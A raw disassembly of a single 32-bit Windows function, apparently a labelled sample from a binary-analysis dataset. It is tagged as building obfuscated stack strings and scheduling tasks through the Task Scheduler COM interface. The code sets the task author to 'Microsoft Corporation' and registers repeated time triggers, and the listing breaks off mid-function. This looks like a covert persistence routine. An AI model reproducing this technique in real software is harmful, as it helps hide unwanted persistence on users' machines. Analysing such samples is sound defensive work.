Function at 0x10001b1c
Capabilities:
Contain obfuscated stackstrings
Schedule task via itaskservice

Disassembly:
push 0x3c0
mov eax, 0x10021c23
call fcn.100092e5
mov dword [ebp - 0x2e4], ecx
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
push ebx
push ebx
push ebx
push 3
pop eax
push eax
push 6
push ebx
push ebx
push 0xffffffffffffffff
push ebx
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x2a0]
push eax
push 0x10024080
push 1
push ebx
push 0x100240a0
call dword [sym.imp.ole32.dll_CoCreateInstance]
lea eax, [ebp - 0x3c4]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov dword [ebp - 4], ebx
lea esi, [ebp - 0x3c4]
lea edi, [ebp - 0x344]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x3ac]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
lea esi, [ebp - 0x3ac]
lea edi, [ebp - 0x2fc]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x394]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
lea esi, [ebp - 0x394]
lea edi, [ebp - 0x194]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x37c]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
push 3
pop eax
mov byte [ebp - 4], al
lea esi, [ebp - 0x344]
sub esp, 0x10
mov eax, dword [ebp - 0x2a0]
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x2fc]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x194]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x37c]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x28]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x37c]
push eax
call esi
lea eax, [ebp - 0x394]
push eax
call esi
lea eax, [ebp - 0x3ac]
push eax
call esi
lea eax, [ebp - 0x3c4]
or edi, 0xffffffff
push eax
mov dword [ebp - 4], edi
call esi
push 0x1002d82c
lea ecx, [ebp - 0x290]
call fcn.10001a33
mov dword [ebp - 4], 4
mov edx, dword [eax]
test edx, edx
je 0x10001c6f
mov edx, dword [edx]
jmp 0x10001c71
mov edx, ebx
mov eax, dword [ebp - 0x2a0]
lea esi, [ebp - 0x2b8]
push esi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
lea ecx, [ebp - 0x290]
mov dword [ebp - 4], edi
call fcn.10001a9f
mov eax, dword [ebp - 0x2a0]
lea edx, [ebp - 0x294]
push edx
push ebx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov eax, dword [ebp - 0x294]
lea edx, [ebp - 0x2d8]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
movaps xmm0, xmmword [str.Microsoft_Corpor]
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x290]
mov dword [ebp - 0x1c], 0x6f697461
movups xmmword [ebp - 0x2c], xmm0
mov word [ebp - 0x18], 0x6e
call fcn.100019d1
push 5
pop ecx
mov dword [ebp - 4], ecx
mov eax, dword [eax]
test eax, eax
je 0x10001cf1
mov edx, dword [eax]
jmp 0x10001cf3
mov edx, ebx
mov eax, dword [ebp - 0x2d8]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
lea ecx, [ebp - 0x290]
mov dword [ebp - 4], edi
call fcn.10001a9f
mov eax, dword [ebp - 0x294]
lea edx, [ebp - 0x2a8]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
mov eax, dword [ebp - 0x2a8]
push 3
pop edx
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x38]
mov eax, dword [ebp - 0x2a8]
push ebx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
mov eax, dword [ebp - 0x294]
lea edx, [ebp - 0x2a4]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x2a4]
push edi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x58]
mov eax, dword [ebp - 0x2a4]
lea edx, [ebp - 0x2e0]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x9c]
mov eax, dword [ebp - 0x2a4]
push ebx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
mov eax, dword [ebp - 0x294]
lea edx, [ebp - 0x298]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov eax, dword [ebp - 0x298]
lea edx, [ebp - 0x2d4]
push edx
push 9
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov eax, dword [ebp - 0x2d4]
lea edx, [ebp - 0x2ac]
mov dword [ebp - 0x2ac], ebx
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
push 0x1002d830
lea ecx, [ebp - 0x290]
call fcn.10001a33
mov dword [ebp - 4], 6
mov edx, dword [eax]
test edx, edx
je 0x10001de3
mov edx, dword [edx]
jmp 0x10001de5
mov edx, ebx
mov eax, dword [ebp - 0x2ac]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
lea ecx, [ebp - 0x290]
mov dword [ebp - 4], edi
call fcn.10001a9f
mov esi, 0x1002d83c
lea ecx, [ebp - 0x22c]
push esi
call fcn.100066f6
push esi
lea ecx, [ebp - 0x214]
mov dword [ebp - 4], 7
call fcn.100066f6
push 8
pop eax
push esi
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 4], al
call fcn.100066f6
push esi
lea ecx, [ebp - 0x1cc]
mov byte [ebp - 4], 9
call fcn.100066f6
push 0xa
pop eax
push esi
lea ecx, [ebp - 0x1e4]
mov byte [ebp - 4], al
call fcn.100066f6
push esi
lea ecx, [ebp - 0x1fc]
mov byte [ebp - 4], 0xb
call fcn.100066f6
push esi
lea ecx, [ebp - 0x25c]
mov byte [ebp - 4], 0xc
call fcn.100066f6
mov byte [ebp - 4], 0xd
lea edx, [ebp - 0x2d0]
mov eax, dword [ebp - 0x298]
push edx
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov eax, dword [ebp - 0x2d0]
lea edx, [ebp - 0x278]
push edx
mov dword [ebp - 0x278], ebx
push 0x10024090
mov ecx, dword [eax]
push eax
call dword [ecx]
lea eax, [ebp - 0x28c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [ebp - 0x28c]
lea ecx, [ebp - 0x19c]
push 3
pop eax
add word [ebp - 0x280], ax
call fcn.10001964
mov esi, eax
lea eax, [ebp - 0x22c]
cmp eax, esi
je 0x10001ef6
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x22c]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
movzx edx, word [ebp - 0x28a]
lea ecx, [ebp - 0x19c]
call fcn.10001964
mov esi, eax
lea eax, [ebp - 0x214]
cmp eax, esi
je 0x10001f32
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x214]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
push 0xa
pop edi
cmp word [ebp - 0x28a], di
jae 0x10001f86
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x19c]
call fcn.1000716a
mov esi, eax
lea eax, [ebp - 0x214]
pop ecx
cmp eax, esi
je 0x10001f7b
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x214]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
movzx edx, word [ebp - 0x286]
lea ecx, [ebp - 0x19c]
call fcn.10001964
mov esi, eax
lea eax, [ebp - 0x1b4]
cmp eax, esi
je 0x10001fb7
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1b4]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
cmp word [ebp - 0x286], di
jae 0x10002008
lea eax, [ebp - 0x1b4]
push eax
lea ecx, [ebp - 0x19c]
call fcn.1000716a
mov esi, eax
lea eax, [ebp - 0x1b4]
pop ecx
cmp eax, esi
je 0x10001ffd
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1b4]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
movzx edx, word [ebp - 0x284]
lea ecx, [ebp - 0x19c]
call fcn.10001964
mov esi, eax
lea eax, [ebp - 0x1cc]
cmp eax, esi
je 0x10002039
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1cc]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
cmp word [ebp - 0x284], di
jae 0x1000208a
lea eax, [ebp - 0x1cc]
push eax
lea ecx, [ebp - 0x19c]
call fcn.1000716a
mov esi, eax
lea eax, [ebp - 0x1cc]
pop ecx
cmp eax, esi
je 0x1000207f
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1cc]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
movzx edx, word [ebp - 0x282]
lea ecx, [ebp - 0x19c]
call fcn.10001964
mov esi, eax
lea eax, [ebp - 0x1e4]
cmp eax, esi
je 0x100020bb
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1e4]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
cmp word [ebp - 0x282], di
jae 0x1000210c
lea eax, [ebp - 0x1e4]
push eax
lea ecx, [ebp - 0x19c]
call fcn.1000716a
mov esi, eax
lea eax, [ebp - 0x1e4]
pop ecx
cmp eax, esi
je 0x10002101
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1e4]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
movzx edx, word [ebp - 0x280]
lea ecx, [ebp - 0x19c]
call fcn.10001964
mov esi, eax
lea eax, [ebp - 0x1fc]
cmp eax, esi
je 0x1000213d
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1fc]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
cmp word [ebp - 0x280], di
jae 0x1000218e
lea eax, [ebp - 0x1fc]
push eax
lea ecx, [ebp - 0x19c]
call fcn.1000716a
mov esi, eax
lea eax, [ebp - 0x1fc]
pop ecx
cmp eax, esi
je 0x10002183
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1fc]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
push ecx
lea edx, [ebp - 0x22c]
mov dword [ebp - 0x27c], ebx
lea ecx, [ebp - 0x36c]
call fcn.100071f0
pop ecx
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 0xe
push ecx
mov ecx, eax
call fcn.100079cf
push eax
lea ecx, [ebp - 0x31c]
mov dword [ebp - 0x31c], ebx
mov dword [ebp - 0x30c], ebx
mov dword [ebp - 0x308], ebx
call fcn.10006d19
push 0x1002d84c
lea edx, [ebp - 0x31c]
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x384]
call fcn.100071b7
pop ecx
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 4], 0x10
push ecx
mov ecx, eax
call fcn.100079cf
push eax
lea ecx, [ebp - 0x334]
mov dword [ebp - 0x334], ebx
mov dword [ebp - 0x324], ebx
mov dword [ebp - 0x320], ebx
call fcn.10006d19
push 0x1002d848
lea edx, [ebp - 0x334]
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x39c]
call fcn.100071b7
pop ecx
lea ecx, [ebp - 0x1cc]
mov byte [ebp - 4], 0x12
push ecx
mov ecx, eax
call fcn.100079cf
push eax
lea ecx, [ebp - 0x34c]
mov dword [ebp - 0x34c], ebx
mov dword [ebp - 0x33c], ebx
mov dword [ebp - 0x338], ebx
call fcn.10006d19
mov esi, 0x1002d844
mov byte [ebp - 4], 0x13
push esi
lea edx, [ebp - 0x34c]
lea ecx, [ebp - 0x3b4]
call fcn.100071b7
pop ecx
lea ecx, [ebp - 0x1e4]
mov byte [ebp - 4], 0x14
push ecx
mov ecx, eax
call fcn.100079cf
push eax
lea ecx, [ebp - 0x304]
mov dword [ebp - 0x304], ebx
mov dword [ebp - 0x2f4], ebx
mov dword [ebp - 0x2f0], ebx
call fcn.10006d19
mov byte [ebp - 4], 0x15
lea edx, [ebp - 0x304]
push esi
lea ecx, [ebp - 0x3cc]
call fcn.100071b7
pop ecx
lea ecx, [ebp - 0x1fc]
mov byte [ebp - 4], 0x16
push ecx
mov ecx, eax
call fcn.100079cf
push eax
lea ecx, [ebp - 0x19c]
mov dword [ebp - 0x19c], ebx
mov dword [ebp - 0x18c], ebx
mov dword [ebp - 0x188], ebx
call fcn.10006d19
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0x19c]
cmp dword [ebp - 0x188], 8
lea ecx, [ebp - 0x27c]
cmovae eax, dword [ebp - 0x19c]
push eax
call fcn.10001a33
lea ecx, [ebp - 0x19c]
call fcn.10006c45
lea ecx, [ebp - 0x3cc]
call fcn.10006c45
lea ecx, [ebp - 0x304]
call fcn.10006c45
lea ecx, [ebp - 0x3b4]
call fcn.10006c45
lea ecx, [ebp - 0x34c]
call fcn.10006c45
lea ecx, [ebp - 0x39c]
call fcn.10006c45
lea ecx, [ebp - 0x334]
call fcn.10006c45
lea ecx, [ebp - 0x384]
call fcn.10006c45
lea ecx, [ebp - 0x31c]
call fcn.10006c45
lea ecx, [ebp - 0x36c]
mov byte [ebp - 4], 0x22
call fcn.10006c45
mov eax, dword [ebp - 0x27c]
test eax, eax
je 0x100023a4
mov edx, dword [eax]
jmp 0x100023a6
mov edx, ebx
mov eax, dword [ebp - 0x278]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
lea ecx, [ebp - 0x27c]
mov byte [ebp - 4], 0xd
call fcn.10001a9f
mov eax, dword [ebp - 0x298]
lea edx, [ebp - 0x2cc]
push edx
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov eax, dword [ebp - 0x2cc]
lea edx, [ebp - 0x278]
push edx
mov dword [ebp - 0x278], ebx
push 0x10024090
mov ecx, dword [eax]
push eax
call dword [ecx]
movzx edx, word [ebp - 0x28c]
lea ecx, [ebp - 0x19c]
push 5
pop eax
add word [ebp - 0x280], ax
call fcn.10001964
mov esi, eax
lea eax, [ebp - 0x22c]
cmp eax, esi
je 0x1000242f
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x22c]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
movzx edx, word [ebp - 0x28a]
lea ecx, [ebp - 0x19c]
call fcn.10001964
mov esi, eax
lea eax, [ebp - 0x214]
cmp eax, esi
je 0x1000246b
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x214]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
cmp word [ebp - 0x28a], di
jae 0x100024bc
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x19c]
call fcn.1000716a
mov esi, eax
lea eax, [ebp - 0x214]
pop ecx
cmp eax, esi
je 0x100024b1
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x214]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
movzx edx, word [ebp - 0x286]
lea ecx, [ebp - 0x19c]
call fcn.10001964
mov esi, eax
lea eax, [ebp - 0x1b4]
cmp eax, esi
je 0x100024ed
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1b4]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
cmp word [ebp - 0x286], di
jae 0x1000253e
lea eax, [ebp - 0x1b4]
push eax
lea ecx, [ebp - 0x19c]
call fcn.1000716a
mov esi, eax
lea eax, [ebp - 0x1b4]
pop ecx
cmp eax, esi
je 0x10002533
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1b4]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
movzx edx, word [ebp - 0x284]
lea ecx, [ebp - 0x19c]
call fcn.10001964
mov esi, eax
lea eax, [ebp - 0x1cc]
cmp eax, esi
je 0x1000256f
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1cc]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
cmp word [ebp - 0x284], di
jae 0x100025c0
lea eax, [ebp - 0x1cc]
push eax
lea ecx, [ebp - 0x19c]
call fcn.1000716a
mov esi, eax
lea eax, [ebp - 0x1cc]
pop ecx
cmp eax, esi
je 0x100025b5
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1cc]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
movzx edx, word [ebp - 0x282]
lea ecx, [ebp - 0x19c]
call fcn.10001964
mov esi, eax
lea eax, [ebp - 0x1e4]
cmp eax, esi
je 0x100025f1
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1e4]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
cmp word [ebp - 0x282], di
jae 0x10002642
lea eax, [ebp - 0x1e4]
push eax
lea ecx, [ebp - 0x19c]
call fcn.1000716a
mov esi, eax
lea eax, [ebp - 0x1e4]
pop ecx
cmp eax, esi
je 0x10002637
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1e4]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
movzx edx, word [ebp - 0x280]
lea ecx, [ebp - 0x19c]
call fcn.10001964
mov esi, eax
lea eax, [ebp - 0x1fc]
cmp eax, esi
je 0x10002673
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1fc]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
cmp word [ebp - 0x280], di
jae 0x100026c4
lea eax, [ebp - 0x1fc]
push eax
lea ecx, [ebp - 0x19c]
call fcn.1000716a
mov esi, eax
lea eax, [ebp - 0x1fc]
pop ecx
cmp eax, esi
je 0x100026b9
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1fc]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
push ecx
lea edx, [ebp - 0x22c]
mov dword [ebp - 0x27c], ebx
lea ecx, [ebp - 0x36c]
call fcn.100071f0
pop ecx
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 0x23
push ecx
mov ecx, eax
call fcn.100079cf
push eax
lea ecx, [ebp - 0x31c]
mov dword [ebp - 0x31c], ebx
mov dword [ebp - 0x30c], ebx
mov dword [ebp - 0x308], ebx
call fcn.10006d19
push 0x1002d84c
lea edx, [ebp - 0x31c]
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x384]
call fcn.100071b7
pop ecx
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 4], 0x25
push ecx
mov ecx, eax
call fcn.100079cf
push eax
lea ecx, [ebp - 0x334]
mov dword [ebp - 0x334], ebx
mov dword [ebp - 0x324], ebx
mov dword [ebp - 0x320], ebx
call fcn.10006d19
push 0x1002d848
lea edx, [ebp - 0x334]
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x39c]
call fcn.100071b7
pop ecx
lea ecx, [ebp - 0x1cc]
mov byte [ebp - 4], 0x27
push ecx
mov ecx, eax
call fcn.100079cf
push eax
lea ecx, [ebp - 0x34c]
mov dword [ebp - 0x34c], ebx
mov dword [ebp - 0x33c], ebx
mov dword [ebp - 0x338], ebx
call fcn.10006d19
mov esi, 0x1002d844
mov byte [ebp - 4], 0x28
push esi
lea edx, [ebp - 0x34c]
lea ecx, [ebp - 0x3b4]
call fcn.100071b7
pop ecx
lea ecx, [ebp - 0x1e4]
mov byte [ebp - 4], 0x29
push ecx
mov ecx, eax
call fcn.100079cf
push eax
lea ecx, [ebp - 0x304]
mov dword [ebp - 0x304], ebx
mov dword [ebp - 0x2f4], ebx
mov dword [ebp - 0x2f0], ebx
call fcn.10006d19
mov byte [ebp - 4], 0x2a
lea edx, [ebp - 0x304]
push esi
lea ecx, [ebp - 0x3cc]
call fcn.100071b7
pop ecx
lea ecx, [ebp - 0x1fc]
mov byte [ebp - 4], 0x2b
push ecx
mov ecx, eax
call fcn.100079cf
push eax
lea ecx, [ebp - 0x19c]
mov dword [ebp - 0x19c], ebx
mov dword [ebp - 0x18c], ebx
mov dword [ebp - 0x188], ebx
call fcn.10006d19
push 8
pop esi
mov byte [ebp - 4], 0x2c
lea eax, [ebp - 0x19c]
cmp dword [ebp - 0x188], esi
lea ecx, [ebp - 0x27c]
cmovae eax, dword [ebp - 0x19c]
push eax
call fcn.10001a33
lea ecx, [ebp - 0x19c]
call fcn.10006c45
lea ecx, [ebp - 0x3cc]
call fcn.10006c45
lea ecx, [ebp - 0x304]
call fcn.10006c45
lea ecx, [ebp - 0x3b4]
call fcn.10006c45
lea ecx, [ebp - 0x34c]
call fcn.10006c45
lea ecx, [ebp - 0x39c]
call fcn.10006c45
lea ecx, [ebp - 0x334]
call fcn.10006c45
lea ecx, [ebp - 0x384]
call fcn.10006c45
lea ecx, [ebp - 0x31c]
call fcn.10006c45
lea ecx, [ebp - 0x36c]
mov byte [ebp - 4], 0x37
call fcn.10006c45
mov eax, dword [ebp - 0x27c]
test eax, eax
je 0x100028dc
mov edx, dword [eax]
jmp 0x100028de
mov edx, ebx
mov eax, dword [ebp - 0x278]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
lea ecx, [ebp - 0x27c]
mov byte [ebp - 4], 0xd
call fcn.10001a9f
mov eax, dword [ebp - 0x298]
lea edx, [ebp - 0x2c8]
push edx
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov eax, dword [ebp - 0x2c8]
lea edx, [ebp - 0x27c]
push edx
mov dword [ebp - 0x27c], ebx
push 0x10024090
mov ecx, dword [eax]
push eax
call dword [ecx]
movzx edx, word [ebp - 0x28c]
lea ecx, [ebp - 0x19c]
add word [ebp - 0x280], si
call fcn.10001964
mov esi, eax
lea eax, [ebp - 0x22c]
cmp eax, esi
je 0x10002964
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x22c]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
movzx edx, word [ebp - 0x28a]
lea ecx, [ebp - 0x19c]
call fcn.10001964
mov esi, eax
lea eax, [ebp - 0x214]
cmp eax, esi
je 0x100029a0
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x214]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
cmp word [ebp - 0x28a], di
jae 0x100029f1
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x19c]
call fcn.1000716a
mov esi, eax
lea eax, [ebp - 0x214]
pop ecx
cmp eax, esi
je 0x100029e6
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x214]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
movzx edx, word [ebp - 0x286]
lea ecx, [ebp - 0x19c]
call fcn.10001964
mov esi, eax
lea eax, [ebp - 0x1b4]
cmp eax, esi
je 0x10002a22
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1b4]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
cmp word [ebp - 0x286], di
jae 0x10002a73
lea eax, [ebp - 0x1b4]
push eax
lea ecx, [ebp - 0x19c]
call fcn.1000716a
mov esi, eax
lea eax, [ebp - 0x1b4]
pop ecx
cmp eax, esi
je 0x10002a68
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1b4]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
movzx edx, word [ebp - 0x284]
lea ecx, [ebp - 0x19c]
call fcn.10001964
mov esi, eax
lea eax, [ebp - 0x1cc]
cmp eax, esi
je 0x10002aa4
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1cc]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
cmp word [ebp - 0x284], di
jae 0x10002af5
lea eax, [ebp - 0x1cc]
push eax
lea ecx, [ebp - 0x19c]
call fcn.1000716a
mov esi, eax
lea eax, [ebp - 0x1cc]
pop ecx
cmp eax, esi
je 0x10002aea
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1cc]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
movzx edx, word [ebp - 0x282]
lea ecx, [ebp - 0x19c]
call fcn.10001964
mov esi, eax
lea eax, [ebp - 0x1e4]
cmp eax, esi
je 0x10002b26
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1e4]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
cmp word [ebp - 0x282], di
jae 0x10002b77
lea eax, [ebp - 0x1e4]
push eax
lea ecx, [ebp - 0x19c]
call fcn.1000716a
mov esi, eax
lea eax, [ebp - 0x1e4]
pop ecx
cmp eax, esi
je 0x10002b6c
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1e4]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
movzx edx, word [ebp - 0x280]
lea ecx, [ebp - 0x19c]
call fcn.10001964
mov esi, eax
lea eax, [ebp - 0x1fc]
cmp eax, esi
je 0x10002ba8
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1fc]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
cmp word [ebp - 0x280], di
jae 0x10002bf9
lea eax, [ebp - 0x1fc]
push eax
lea ecx, [ebp - 0x19c]
call fcn.1000716a
mov esi, eax
lea eax, [ebp - 0x1fc]
pop ecx
cmp eax, esi
je 0x10002bee
mov ecx, eax
call fcn.10006c45
push esi
lea ecx, [ebp - 0x1fc]
call fcn.10006d19
lea ecx, [ebp - 0x19c]
call fcn.10006c45
push ecx
lea edx, [ebp - 0x22c]
mov dword [ebp - 0x278], ebx
lea ecx, [ebp - 0x36c]
call fcn.100071f0
pop ecx
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 0x38
push ecx
mov ecx, eax
call fcn.100079cf
push eax
lea ecx, [ebp - 0x31c]
mov dword [ebp - 0x31c], ebx
mov dword [ebp - 0x30c], ebx
mov dword [ebp - 0x308], ebx
call fcn.10006d19
push 0x1002d84c
lea edx, [ebp - 0x31c]
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x384]
call fcn.100071b7
pop ecx
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 4], 0x3a
push ecx
mov ecx, eax
call fcn.100079cf
push eax
lea ecx, [ebp - 0x334]
mov dword [ebp - 0x334], ebx
mov dword [ebp - 0x324], ebx
mov dword [ebp - 0x320], ebx
call fcn.10006d19
push 0x1002d848
lea edx, [ebp - 0x334]
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x39c]
call fcn.100071b7
pop ecx
lea ecx, [ebp - 0x1cc]
mov byte [ebp - 4], 0x3c
push ecx
mov ecx, eax
call fcn.100079cf
push eax
lea ecx, [ebp - 0x34c]
mov dword [ebp - 0x34c], ebx
mov dword [ebp - 0x33c], ebx
mov dword [ebp - 0x338], ebx
call fcn.10006d19
mov esi, 0x1002d844
mov byte [ebp - 4], 0x3d
push esi
lea edx, [ebp - 0x34c]
lea ecx, [ebp - 0x3b4]
call fcn.100071b7
pop ecx
lea ecx, [ebp - 0x1e4]
mov byte [ebp - 4], 0x3e
push ecx
mov ecx, eax
call fcn.100079cf
push eax
lea ecx, [ebp - 0x304]
mov dword [ebp - 0x304], ebx
mov dword [ebp - 0x2f4], ebx
mov dword [ebp - 0x2f0], ebx
call fcn.10006d19
mov byte [ebp - 4], 0x3f
lea edx, [ebp - 0x304]
push esi
lea ecx, [ebp - 0x3cc]
call fcn.100071b7
pop ecx
lea ecx, [ebp - 0x1fc]
mov byte [ebp - 4], 0x40
push ecx
mov ecx, eax
call fcn.100079cf
push eax
lea ecx, [ebp - 0x19c]
mov dword [ebp - 0x19c], ebx
mov dword [ebp - 0x18c], ebx
mov dword [ebp - 0x188], ebx
call fcn.10006d19
push 8
pop esi
mov byte [ebp - 4], 0x41
lea eax, [ebp - 0x19c]
cmp dword [ebp - 0x188], esi
lea ecx, [ebp - 0x278]
cmovae eax, dword [ebp - 0x19c]
push eax
call fcn.10001a33
lea ecx, [ebp - 0x19c]
call fcn.10006c45
lea ecx, [ebp - 0x3cc]
call fcn.10006c45
lea ecx, [ebp - 0x304]
call fcn.10006c45
lea ecx, [ebp - 0x3b4]
call fcn.10006c45
lea ecx, [ebp - 0x34c]
call fcn.10006c45
lea ecx, [ebp - 0x39c]
